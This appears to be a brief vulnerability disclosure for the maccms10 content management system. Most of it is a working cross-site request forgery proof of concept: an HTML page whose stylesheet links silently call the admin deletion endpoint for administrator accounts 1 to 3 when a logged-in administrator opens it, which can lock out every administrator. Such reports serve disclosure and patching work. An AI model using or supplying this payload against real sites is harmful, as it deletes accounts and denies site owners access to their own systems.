After the administrator logged in, open the following page.

POC:

```
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="http://127.0.0.1/maccms10/admin.php/admin/admin/del/ids/1.html">
<link rel="stylesheet" href="http://127.0.0.1/maccms10/admin.php/admin/admin/del/ids/2.html">
<link rel="stylesheet" href="http://127.0.0.1/maccms10/admin.php/admin/admin/del/ids/3.html">
</body>
</html>
```

Then administrator users numbered 1, 2, 3 will be deleted.

If the administrators are all deleted, no one can log in.
